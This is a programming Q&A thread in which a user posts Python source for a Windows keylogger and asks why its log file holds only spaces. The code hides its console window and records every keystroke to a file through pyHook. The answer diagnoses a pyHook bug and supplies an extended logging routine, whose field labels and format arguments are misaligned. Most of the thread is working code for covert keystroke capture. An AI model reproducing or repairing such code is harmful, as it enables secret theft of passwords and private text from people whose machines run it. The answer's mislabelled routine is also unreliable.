Why does my Keylogger in Python 3.6 save spaces and not the letters it registers?

Why does my Keylogger in Python 3.6 save spaces and not the letters it registers?

The program apparently works fine, it creates the file but in it it only writes blank spaces instead of the characters that I wrote.

I really need help with this since I do not know the reason for this, I saved it as .pyw

Here the code:

import win32api
import win32console
import win32gui    
import pyHook,pythoncom,sys,logging

win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
file_log = "C:\KEYLOGGER\Log.txt"

def OnKeyboardEvent(event):
        logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
        chr(event.Ascii)
        logging.log(10,chr(event.Ascii))    
        return True

hocks_manager = pyHook.HookManager()
hocks_manager.KeyDown=OnKeyboardEvent
hocks_manager.HookKeyboard()    
pythoncom.PumpMessages()

When executing it in the console, after passing it to .py, and writing a key I get the following error

C:\Users\mi pc\Project\Python>python keyl_a.py
TypeError: KeyboardSwitch() missing 8 required positional arguments: 'msg', 'vk_
code', 'scan_code', 'ascii', 'flags', 'time', 'hwnd', and 'win_name'

python python-3.x

Apparently it would be a pyHook bug. It occurs when the focus is placed in a window whose title has "wide" or no ascii characters. The fix unfortunately happens to modify pyHook. This link can help you.

With respect to the blank keys, I mention that at least I did not work the chr(event.Ascii) , but if the chr(event.Key) . I copy you a routine that details more the information of the keyboard event that may help you:

def OnKeyboardEvent(event):

        logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')

        logtxt = """\
        MessageName: {}
        Message    : {}
        Time       : {}
        Window     : {}
        WindowName : {}
        Ascii      : {} {}
        Key        : {} {}
        KeyID      : {}
        ScanCode   : {}
        Extended   : {}
        Injected   : {}
        Transition : {}
        ---------------------------
        """.format(event.MessageName,
                   event.Message,
                   event.Time,
                   event.Window,
                   event.WindowName,
                   event.Ascii, chr(event.Ascii),
                   event.KeyID, chr(event.KeyID),
                   event.ScanCode,
                   event.Extended,
                   event.Injected,
                   event.Alt,
                   event.Transition)


        logging.log(10,logtxt)    
        return True
